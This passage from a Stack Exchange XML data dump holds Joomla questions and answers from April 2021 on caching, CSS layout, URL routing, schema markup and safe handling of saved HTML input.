BY-SA 4.0" />
  <row Id="29014" PostTypeId="2" ParentId="28993" CreationDate="2021-04-09T03:34:24.633" Score="0" Body="&lt;p&gt;in the plugin configuration you have a button to clear JCH cache. Have you tried that? That usually does the trick for stubborn files.&lt;/p&gt;&#xA;" OwnerUserId="14318" LastActivityDate="2021-04-09T03:34:24.633" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29015" PostTypeId="2" ParentId="29012" CreationDate="2021-04-09T05:38:21.087" Score="2" Body="&lt;p&gt;This is an unnecessarily strict rule and it has already been removed in code base. The change should be reflected in the next major JED Checker release. See this &lt;a href=&quot;https://github.com/joomla-extensions/jedchecker/commit/fa5eb52dd6c5ab34cdfb697cfd5b1c8c2e966ee2&quot; rel=&quot;nofollow noreferrer&quot;&gt;commit&lt;/a&gt; for reference.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-04-09T05:38:21.087" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29016" PostTypeId="1" CreationDate="2021-04-09T17:21:07.167" Score="2" ViewCount="82" Body="&lt;p&gt;I managed to create a 2 column blog view of articles on a Joomla 3.9 website using the guidance in this post, along with some additional linked advice on adding a &amp;quot;readmore&amp;quot;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/13583/how-to-show-tagged-items-in-category-blog-layout?newreg=c8a4cb9d01c64ac7bbf724f254ca9ff5&quot;&gt;How to show tagged items in category blog layout&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, at the following link:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://eume.upf.org/resources/tag-blog-test?start=40&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://eume.upf.org/resources/tag-blog-test?start=40&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It can be seen that a gap or empty space forms after certain articles.&lt;/p&gt;&#xA;&lt;p&gt;This seems to happen if the article in the left column is longer than the one in the right column. For example, if the title on the left goes to 2 lines, whereas the one on the right only has 1 line. Then, the subsequent article which should be in the left column is shifted.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone have an idea as to how I could fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="15085" LastEditorUserId="15085" LastEditDate="2021-04-11T15:03:16.797" LastActivityDate="2024-01-03T14:04:00.413" Title="Joomla Tagged Blog of articles" Tags="|joomla-3.x|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29017" PostTypeId="1" CreationDate="2021-04-10T06:47:37.697" Score="1" ViewCount="52" Body="&lt;p&gt;I have followed the tutorial to setup Browser Caching on My Droplet: &lt;a href=&quot;https://www.digitalocean.com/community/tutorials/how-to-configure-apache-content-caching-on-ubuntu-14-04&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.digitalocean.com/community/tutorials/how-to-configure-apache-content-caching-on-ubuntu-14-04&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;What I want to accomplish for now is set up a year-long cache on all files but later on will fine-tune files like HTML for a much shorter expiry.&lt;/p&gt;&#xA;&lt;p&gt;I have checked my cache folder with below and it is growing: ls -la /var/cache/apache2/mod_cache_disk/&lt;/p&gt;&#xA;&lt;p&gt;But the problem is Google Page Insight and other page speed tests are still reporting that there is not cache policy applied to my files even after 2 days of caching applied to the server.&lt;/p&gt;&#xA;&lt;p&gt;I have also check edge dev tools and most files don't show Cache-Control in response and for some a small subset of files that it is shown, it is set to no-cache.&lt;/p&gt;&#xA;&lt;p&gt;I included the following lines in my domain's virtual host file and enabled caching on my server:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CacheQuickHandler off&#xA;CacheLock on&#xA;CacheLockPath /tmp/mod_cache-lock&#xA;CacheLockMaxAge 5&#xA;CacheIgnoreHeaders Set-Cookie&#xA;&#xA;&amp;lt;Location /&amp;gt;&#xA;    CacheEnable disk&#xA;    CacheHeader on&#xA;    CacheDefaultExpire 600&#xA;    CacheMaxExpire 86400&#xA;    CacheLastModifiedFactor 0.5&#xA;&#xA;    ExpiresActive on&#xA;    ExpiresDefault A31536000&#xA;&#xA;    Header set Cache-Control public&#xA;    Header merge Cache-Control max-age=31536000&#xA;    FileETag All&#xA;&amp;lt;/Location&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15087" LastActivityDate="2023-12-30T01:07:30.917" Title="Dev Tools Don't Show Cache-Control in Response Only no-cache (on Apache Server)" Tags="|cache|apache|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29019" PostTypeId="1" AcceptedAnswerId="29047" CreationDate="2021-04-11T12:47:09.740" Score="0" ViewCount="32" Body="&lt;p&gt;Good evening.&#xA;I need help with schema markup for product.&#xA;Microdata or ld+json.&#xA;I managed to markup content but i can't make aggregateRating to get rating from standard vote plugin.&#xA;I tried several plugins, but every plugin has its issues.&#xA;So i prefere to insert microdata or ld+json manually to my articles.&#xA;What is the syntax to put article rating in my markup under Product, name, description etc?&lt;/p&gt;&#xA;" OwnerUserId="8707" LastEditorUserId="8707" LastEditDate="2021-04-24T10:43:45.980" LastActivityDate="2021-04-24T10:46:32.247" Title="Schema markup votes" Tags="|joomla-3.x|json|microdata|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29020" PostTypeId="2" ParentId="28814" CreationDate="2021-04-11T19:10:39.300" Score="1" Body="&lt;p&gt;I found the above problem solved after using Helix Ultimate 2 Beta 2 Quickstart Package (&lt;a href=&quot;https://github.com/JoomShaper/helix-ultimate/releases/download/v2.0.0-beta.2/helixultimate_2_beta2_quickstart.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/JoomShaper/helix-ultimate/releases/download/v2.0.0-beta.2/helixultimate_2_beta2_quickstart.zip&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Here are the steps that I followed:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download the Helix Ultimate Quickstart Package at &lt;a href=&quot;https://github.com/JoomShaper/helix-ultimate/releases/tag/v2.0.0-beta.2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/JoomShaper/helix-ultimate/releases/tag/v2.0.0-beta.2&lt;/a&gt; and upload it to your website's public_html folder.&lt;/li&gt;&#xA;&lt;li&gt;Unzip the package file.&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;a href=&quot;http://www.yoursitename.com/installation/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.yoursitename.com/installation/index.php&lt;/a&gt; and follow the installation procedures.&lt;/li&gt;&#xA;&lt;li&gt;Upgrade your site to Joomla 4 Beta 7.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14842" LastActivityDate="2021-04-11T19:10:39.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29021" PostTypeId="1" AcceptedAnswerId="29028" CreationDate="2021-04-12T11:46:36.420" Score="2" ViewCount="94" Body="&lt;p&gt;I am using com_Ajax to save the contents of my editor (front end of the website in a module)&lt;/p&gt;&#xA;&lt;p&gt;Ajax and passing the content of the editor all works fine.  I am concerned about security.&lt;/p&gt;&#xA;&lt;p&gt;To get the data (in the helper) I use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$params = $input-&amp;gt;get('params',&amp;quot;&amp;quot;,raw );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I use just&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$params = $input-&amp;gt;get('params');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;it strips all the html tags and so is useless for saving.&lt;/p&gt;&#xA;&lt;p&gt;I looked up the filters but there seems to be nothing to make the raw data safe.&lt;/p&gt;&#xA;&lt;p&gt;I'm saving it using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$profile = new stdClass();&#xA;$profile-&amp;gt;params= $params;&#xA;&#xA;$result = $result = JFactory::getDbo()-&amp;gt;insertObject('#__myTable', $profile);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which works fine.&lt;/p&gt;&#xA;&lt;p&gt;Using this, is the data safe for insert into the database since I'm using the abstract api for the database or do I need to do something else.&lt;/p&gt;&#xA;" OwnerUserId="12248" LastActivityDate="2021-04-15T07:44:46.643" Title="using Ajax to save contents of html how to make safe" Tags="|joomla-3.x|mysql|database|com-ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29024" PostTypeId="1" AcceptedAnswerId="29055" CreationDate="2021-04-13T05:49:37.563" Score="2" ViewCount="292" Body="&lt;p&gt;I have been looking for hours but I have been unable to find an answer for my case.&lt;/p&gt;&#xA;&lt;p&gt;I have an &lt;em&gt;Article&lt;/em&gt; which is used for the &lt;em&gt;home&lt;/em&gt; menu. For some reason the &lt;em&gt;Read More&lt;/em&gt; option is not working but that is for another question. What I did, was added a simple link to a new &lt;em&gt;Article&lt;/em&gt; with the full information.&#xA;The problem I am having, is that I am just using &lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=136&lt;/code&gt; as the URL but then on the site it always appends the &lt;code&gt;Itemid&lt;/code&gt; for the menu (&lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=136&amp;amp;Itemid=435&lt;/code&gt;) thus causing my site to display all the content in the home page when I only need to display the article and nothing more.&lt;/p&gt;&#xA;&lt;p&gt;Is there an option or a parameter that does this? I had resorted to using .httaccess with an ugly rewrite:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} ^(.+)&amp;amp;Itemid=[0-9a-z]+$|^Itemid=[0-9a-z]+&amp;amp;?(.*)$ [NC]&#xA;RewriteBase /Nuevo&#xA;RewriteRule (.*) $1?%1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which causes different problems.&lt;/p&gt;&#xA;&lt;p&gt;Any help would mean a lot.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2021-04-27T14:58:48.437" Title="Remove Itemid from URL generated from manual links in articles" Tags="|joomla-3.x|url|joomla-3.9|weblinks|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29025" PostTypeId="2" ParentId="24547" CreationDate="2021-04-13T16:40:43.450" Score="0" Body="&lt;p&gt;I recently came about the need to accomplish this, and found that @Arlen's answer was almost what I needed.  I like the automatic nature of the media version (auto-version when extensions are installed or updated) - but I also want to control the version for local CSS updates.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$mediaversion = $this-&amp;gt;getMediaVersion();&#xA;$this-&amp;gt;setMediaVersion($mediaversion.'+2021.04.13.11.29');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above allows the best of both worlds.  You're capturing the Joomla generated media version, and appending the template version to it.  In my case I'm using a date and time, but you can do whatever you want.&lt;/p&gt;&#xA;&lt;p&gt;The result is a media version that looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;9b6c6b7876665522598227c3aa38ff74+2021.04.13.11.29&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, not to take away from Arlen's answer, more to augment it.  Thanks Arlen!&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2021-04-13T16:40:43.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29026" PostTypeId="2" ParentId="29017" CreationDate="2021-04-13T19:45:43.157" Score="0" Body="&lt;p&gt;After days of headache I finally solved it. I was editing the Virtual Host for HTTP and not the one for HTTPs/SLL. If any body faces this problem just search for active virtual host files on your server like below:&lt;/p&gt;&#xA;&lt;p&gt;$ apachectl -S&#xA;VirtualHost configuration:&#xA;&lt;em&gt;:443                  de&lt;/em&gt;***.com (/etc/apache2/sites-enabled/000-default-le-ssl.conf:2)&#xA;&lt;em&gt;:80                   de&lt;/em&gt;***.com (/etc/apache2/sites-enabled/000-default.conf:1)&lt;/p&gt;&#xA;" OwnerUserId="15087" LastActivityDate="2021-04-13T19:45:43.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29027" PostTypeId="1" CreationDate="2021-04-14T19:02:38.233" Score="1" ViewCount="26" Body="&lt;p&gt;I need to get category titles for which I am using the a model where &lt;code&gt;$result&lt;/code&gt; returns all the data from the categories table, what I need is only the titles, that by making a loop to &lt;code&gt;$result&lt;/code&gt; and a comparison with &lt;code&gt;in_array()&lt;/code&gt; I can obtain them.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$cat_ids = $params-&amp;gt;get('catid'); // this is = array(2, 3, 4, 5, 7);&#xA;$categories = JModelLegacy::getInstance('Categories', 'ContentModel',array('ignore_request' =&amp;gt; true));&#xA;$categories_items = $categories-&amp;gt;getItems();&#xA;$category_titles = array();&#xA;foreach ($categories_items as $category) {&#xA;    if (in_array($category-&amp;gt;id, $cat_ids)) {&#xA;        $category_titles[] = $category-&amp;gt;title;&#xA;    }&#xA;}&#xA;return $category_titles;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;These titles can also be obtained by making a loop of &lt;code&gt;$catids&lt;/code&gt; and in each iteration call to the database with &lt;code&gt;$db = JFactory::getDbo();&lt;/code&gt;in this case if I need 5 titles I must make 5 queries to the database data.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$category_titles = array();&#xA;foreach ($cat_ids as $id) {&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('title');&#xA;    $query-&amp;gt;from($db-&amp;gt;quoteName('#__categories'));&#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('id') . ' = ' . $db-&amp;gt;quote($id));&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $category_titles[] = $db-&amp;gt;loadResult();&#xA;}&#xA;return $category_titles;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My question: &lt;strong&gt;which is more efficient?&lt;/strong&gt; do a query with lots of data or lots of queries with unique data?&lt;/p&gt;&#xA;&lt;p&gt;Thanks. (I'm sorry for my English)&lt;/p&gt;&#xA;" OwnerUserId="7417" LastEditorUserId="7417" LastEditDate="2021-04-14T20:14:03.293" LastActivityDate="2021-04-14T20:14:03.293" Title="MySQL - Is a query with many results or several queries with one result more efficient?" Tags="|joomla-3.x|mysql|jdatabase|" AnswerCount="0" CommentCount="3" ClosedDate="2021-04-14T22:19:41.663" ContentLicense="CC BY-SA 4.0" />
  <row Id="29028" PostTypeId="2" ParentId="29021" CreationDate="2021-04-15T07:44:46.643" Score="3" Body="&lt;p&gt;On the SQL side, data inserted using &lt;code&gt;JDatabaseDriver::insertObject()&lt;/code&gt; and &lt;code&gt;JDatabaseDriver::updateObject()&lt;/code&gt; methods is escaped automatically.&lt;/p&gt;&#xA;&lt;p&gt;On HTML side, you should filter user input to prevent XSS. Normally, &lt;code&gt;Joomla\CMS\Component\ComponentHelper::filterText()&lt;/code&gt; is used to filter content where HTML is allowed. These filters can be configured per user group in Global Configuration. Another option is to use default HTML filter:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$params = $input-&amp;gt;get('params', '', 'html');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-04-15T07:44:46.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29029" PostTypeId="2" ParentId="29016" CreationDate="2021-04-15T19:21:26.643" Score="0" Body="&lt;p&gt;This looks similar to &lt;a href=&quot;https://stackoverflow.com/questions/28025204/joomla-category-blog-view-different-height-on-articles&quot;&gt;https://stackoverflow.com/questions/28025204/joomla-category-blog-view-different-height-on-articles&lt;/a&gt; but I have no idea how that solution would work.&lt;/p&gt;&#xA;&lt;p&gt;The easiest, quickest and dirtiest workaround for this is to add a min-height css declaration on the divs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.question-page .form-inline &amp;gt; div {&#xA;    min-height: 300px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But this will break when the titles are longer than 2 or 3 rows.&lt;/p&gt;&#xA;&lt;p&gt;The more technical approach is to use Flex, like so:&#xA;(Assumed that having followed the guide above, you can modify CSS.)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.question-page .form-inline {&#xA;    display: -ms-flex;&#xA;    display: -webkit-flex;&#xA;    display: flex;&#xA;    flex-direction: row;&#xA;    flex-basis: 1 0 50%; /% possibly not needed as blocks are set at 40% */&#xA;    flex-wrap: wrap; &#xA;}&#xA;.question-page .form-inline &amp;gt; div {&#xA;    flex-wrap: wrap; /* this shouldn't be needed but made it all work for me */&#xA;    margin-bottom: 30px /* optional to add space between */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But, with the above styles we break the pagination limiter above the content, so you'll need to take care of that:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.question-page .form-inline .filters {&#xA;    display: flex;&#xA;    flex-flow: column;&#xA;    flex: 1 0 100%;&#xA;}&#xA;.question-page .form-inline .filters &amp;gt; div {&#xA;    align-self: right;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Not a perfect solution but should get you what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2021-04-18T08:59:34.743" LastActivityDate="2021-04-18T08:59:34.743" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29031" PostTypeId="2" ParentId="28968" CreationDate="2021-04-17T16:36:12.787" Score="1" Body="&lt;p&gt;The solution to the above problem is to &lt;strong&gt;comment out the last section of the .htaccess file&lt;/strong&gt; (See &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/32892&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/32892&lt;/a&gt; and &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/33097&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/33097&lt;/a&gt; for more details).&lt;/p&gt;&#xA;&lt;p&gt;I faced this issue because my LiteSpeed-based hosting server was already gzipping css and js files, so there was no need to gzip them again.&lt;/p&gt;&#xA;" OwnerUserId="14842" LastActivityDate="2021-04-17T16:36:12.787" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29032" PostTypeId="1" CreationDate="2021-04-19T15:11:42.480" Score="0" ViewCount="25" Body="&lt;p&gt;The module class suffix is added to a module and then to the &lt;code&gt;div&lt;/code&gt; with the module content within it.  On the second occasion it adds the word/class &amp;quot;custom&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;I've always found this a bit of an annoying bug.  Not only because you need to teach clients to use a space for their classes but also because it duplicates any styling.  I believe it's been removed from J4 which makes me happy.&lt;/p&gt;&#xA;&lt;p&gt;You can avoid the duplicate styling in some cases by not adding a space so your class becomes &lt;code&gt;customMyClass&lt;/code&gt; instead of &lt;code&gt;MyClass&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;But you have multiple classes there's no easy way around this.  So for example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;pure-u-md-12-24 pure-u-lg-6-24 pure-u-1 &lt;/code&gt; becomes&#xA;&lt;code&gt;custompure-u-md-12-24 pure-u-lg-6-24 pure-u-1 &lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Because these classes control the width of the container it can be really problematic.  What's the easiest way to resolve that issue?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2021-04-19T15:11:42.480" Title="What's the easiest way to avoid the double class issue on modules?" Tags="|module|css|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29033" PostTypeId="1" AcceptedAnswerId="29043" CreationDate="2021-04-20T19:20:16.240" Score="2" ViewCount="1057" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/a7SAs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/a7SAs.png&quot; alt=&quot;the button in blue makes a message appear in red (horatio)&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hello there On Joomla 3.9.26 stable i clicked on the blue Button up in the Image and then the red button above appeared.&lt;/p&gt;&#xA;&lt;p&gt;I googled the error-message. I found something for joomla 1. and 2. but that does not help me.&lt;/p&gt;&#xA;&lt;p&gt;I am using:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Linux Raspberry 5. Firmware&lt;/li&gt;&#xA;&lt;li&gt;mysql&lt;/li&gt;&#xA;&lt;li&gt;mariaDB&lt;/li&gt;&#xA;&lt;li&gt;php 7.3&lt;/li&gt;&#xA;&lt;li&gt;Apache 2.4 (rasp)&lt;/li&gt;&#xA;&lt;li&gt;Joomla 3.9.26 Stable (armani)&lt;/li&gt;&#xA;&lt;li&gt;Joomla Platform 13.1.0&lt;/li&gt;&#xA;&lt;li&gt;Mozilla Firefoxy 84&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;does Joomla need some rights? the Joomla folder on the raspi is &lt;strong&gt;chmod 755&lt;/strong&gt; according to an instruction. (I will check but I think it was Joomla forum).&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance - have a great day or night.&lt;/p&gt;&#xA;&lt;p&gt;PS: I followed folder permission &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=31832&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;:&#xA;and I found this problem on &lt;strong&gt;Folder Permission&lt;/strong&gt; which should be writeable:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2x0kS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2x0kS.png&quot; alt=&quot;my not writeable folders&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And the user group is root root, i want to change this for my user name and joomla account is kamin-user. I will follow this &lt;a href=&quot;https://askubuntu.com/questions/1013286/create-new-ssh-user-account-to-access-specific-folder-only#1013289&quot;&gt;link&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15154" LastEditorUserId="15154" LastEditDate="2021-04-21T16:33:47.760" LastActivityDate="2021-04-24T06:37:49.377" Title="Error Unable to detect manifest file. for JED - related to Folder permission" Tags="|joomla-3.x|error-handling|jed|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29035" PostTypeId="1" AcceptedAnswerId="29080" CreationDate="2021-04-21T14:08:33.373" Score="3" ViewCount="117" Body="&lt;p&gt;I am having an issue with the ACL of my Joomla API.  I created this using the TechJoomla api component.&lt;/p&gt;&#xA;&lt;p&gt;I have the following code to handle post requests on my api.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    &#xA;    use Joomla\CMS\Factory;&#xA;    &#xA;    class WdtoptionsApiResourceOptions extends ApiResource&#xA;    {&#xA;        public function post()&#xA;        {&#xA;            $user = Factory::getUser();&#xA;            $accessLevels = $user-&amp;gt;getAuthorisedViewLevels();&#xA;            $result = new \stdClass;&#xA;            &#xA;            //check the user has the required access levels.  &#xA;            if (!in_array(9, $accessLevels))&#xA;            {&#xA;                $result-&amp;gt; options-&amp;gt;{'Error'} = 'Could not access api. Are you logged in?';  &#xA;            }&#xA;            else&#xA;            {&#xA;                //I process the response for a valid user here.         &#xA;            }&#xA;            $this-&amp;gt;plugin-&amp;gt;setResponse( $result );&#xA;        }&#xA;    }&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For a user who has selected the 'Remember Me' check box at the login page it works correctly.&lt;/p&gt;&#xA;&lt;p&gt;For a user who has not selected the 'Remember Me' check box at the login page, the error code appears &lt;em&gt;and&lt;/em&gt; the user is immediately logged out.&lt;/p&gt;&#xA;&lt;p&gt;How do I change this code to deal with users that don't have a 'remember me' cookie set?&lt;/p&gt;&#xA;&lt;p&gt;Are these users still 'logged in'?  Or do they fall into some other category?&lt;/p&gt;&#xA;&lt;p&gt;I suspect the answer is to use the &lt;code&gt;JFactory::getSession()&lt;/code&gt; function described here. But I can't work out how to use this function.&#xA;&lt;a href=&quot;https://docs.joomla.org/Using_the_JFactory_class&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_the_JFactory_class&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14667" LastActivityDate="2021-05-03T12:28:52.743" Title="What does it mean for a user to be 'logged in' to Joomla?" Tags="|plugin|joomla-api|login|acl|com-plugins|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29036" PostTypeId="1" CreationDate="2021-04-22T00:51:06.467" Score="0" ViewCount="26" Body="&lt;p&gt;i use this sj_k2_categories_ii module in my site&#xA;i make some menu with this module&lt;/p&gt;&#xA;&lt;p&gt;how i can sort Categories by alphabet in my page&#xA;Categories sorted by module with k2 item ID&lt;/p&gt;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="15061" LastActivityDate="2021-04-22T00:51:06.467" Title="Sort Categories for sj_k2_categories_ii Module in Page" Tags="|joomla-3.x|php|module|css|k2|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="29037" PostTypeId="1" CreationDate="2021-04-22T12:26:49.353" Score="0" ViewCount="186" Body="&lt;p&gt;I need help for a problem that i didn't found solution.&#xA;we have a web radio created with joomla and we start to put our programs 24h/24.&#xA;I bought an AM HTML5 AUDIO PRO PLAYER and everything work fine but i won't also that in the player to see teh name of the song the foto of the group, for this we create a JSON file with azuracast server but the problem is how to add this json file to my player to start to see teh name and the foto of the group.&lt;/p&gt;&#xA;" OwnerUserId="15161" LastActivityDate="2021-04-22T12:26:49.353" Title="Adding Azuracast JSON file to my AM HTML5 AUDIO PRO PLAYER in joomla" Tags="|joomla-3.x|module|plugin|joomla-api|json|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29038" PostTypeId="1" CreationDate="2021-04-23T05:03:59.850" Score="1" ViewCount="405" Body="&lt;p&gt;I would like to modify CSS styling to some of my pages, and override the default template styling.&lt;/p&gt;&#xA;&lt;p&gt;By default, I have this class (&lt;code&gt;.article-intro-image&lt;/code&gt;) on my template css with some parameters (for example &lt;code&gt;border-radius: 3px;&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;p&gt;But just in ONE page attached to a menu item, I'd like to change the parameter to &lt;code&gt;border-radius: 10px;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;How can I do that without affecting all of the website?&lt;/p&gt;&#xA;&lt;p&gt;I guess it can be done with &amp;quot;page classes&amp;quot; in the menu item editor, under the &amp;quot;Page display&amp;quot; tab, but I can't figure out how to change/edit the class so it doesn't affect the rest of the web.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Thanks mickmackusa, but still doesn't work. I add the class you told me, but when I force to reload my web the images are still affected by the general class:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.article-list .article .article-intro-image, .article-list .article .article-featured-video, .article-list .article .article-featured-audio, .article-list .article .article-feature-gallery {&#xA;    margin: 0px 20px 60px 0px;&#xA;    border-radius: 3px;&#xA;    border-bottom: 1px solid #f5f5f5;&#xA;    overflow: hidden;&#xA;    display: none;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Of course, I tried to put on  &amp;quot;Page display&amp;quot; tab this class too (just in case), but don't work. Any other sugestion?&lt;/p&gt;&#xA;" OwnerUserId="15165" LastEditorUserId="12352" LastEditDate="2021-05-27T22:23:35.740" LastActivityDate="2021-05-28T11:38:48.123" Title="Modify CSS class on specific pages" Tags="|joomla-3.x|css|overrides|class-extensions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29039" PostTypeId="2" ParentId="29038" CreationDate="2021-04-23T06:29:59.430" Score="0" Body="&lt;p&gt;In your template css write:&#xA;.page_class .article-intro-image {border-radius: 10px;}&#xA;See &lt;a href=&quot;https://www.w3schools.com/css/css_combinators.asp&quot; rel=&quot;nofollow noreferrer&quot;&gt;Descendant Selector&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8525" LastActivityDate="2021-04-23T06:29:59.430" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29041" PostTypeId="1" AcceptedAnswerId="29064" CreationDate="2021-04-23T14:03:31.940" Score="0" ViewCount="95" Body="&lt;p&gt;The Fabrik Dropdown (and all other SELECT) plugins present results as a standard SELECT html format.&#xA;What I am looking for is a quick way of replacing this with a jQuery CHOSEN field to improve the usability of dropdowns.&lt;/p&gt;&#xA;" OwnerUserId="15169" LastActivityDate="2021-04-29T12:12:26.047" Title="Looking for a way to use jQuery Chosen in a Fabrik dropdown selection" Tags="|jquery|fabrik|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
